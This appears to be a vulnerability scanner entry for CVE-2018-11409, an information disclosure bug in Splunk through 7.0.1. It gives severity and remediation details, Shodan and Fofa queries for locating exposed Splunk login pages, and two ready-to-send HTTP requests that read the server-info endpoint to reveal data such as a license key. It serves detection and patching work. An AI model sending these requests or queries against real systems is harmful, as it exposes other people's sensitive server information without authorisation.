| Title | Splunk <=7.0.1 - Information Disclosure |
|---|---|
| Author | harshbothra_ |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information. |
| Remediation | Upgrade Splunk to a version higher than 7.0.1 to mitigate the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.93374 |
| CVE ID | CVE-2018-11409 |
| CWE ID | CWE-200 |
| Shodan Query | http.title:"login - splunk" |
| Fofa Query | title="login - splunk" |
| Tags | cve cve2018 edb splunk vkev vuln |
Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.
GET /en-US/splunkd/__raw/services/server/info/server-info?output_mode=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /__raw/services/server/info/server-info?output_mode=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11409.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-11409.pcap
N/AN/A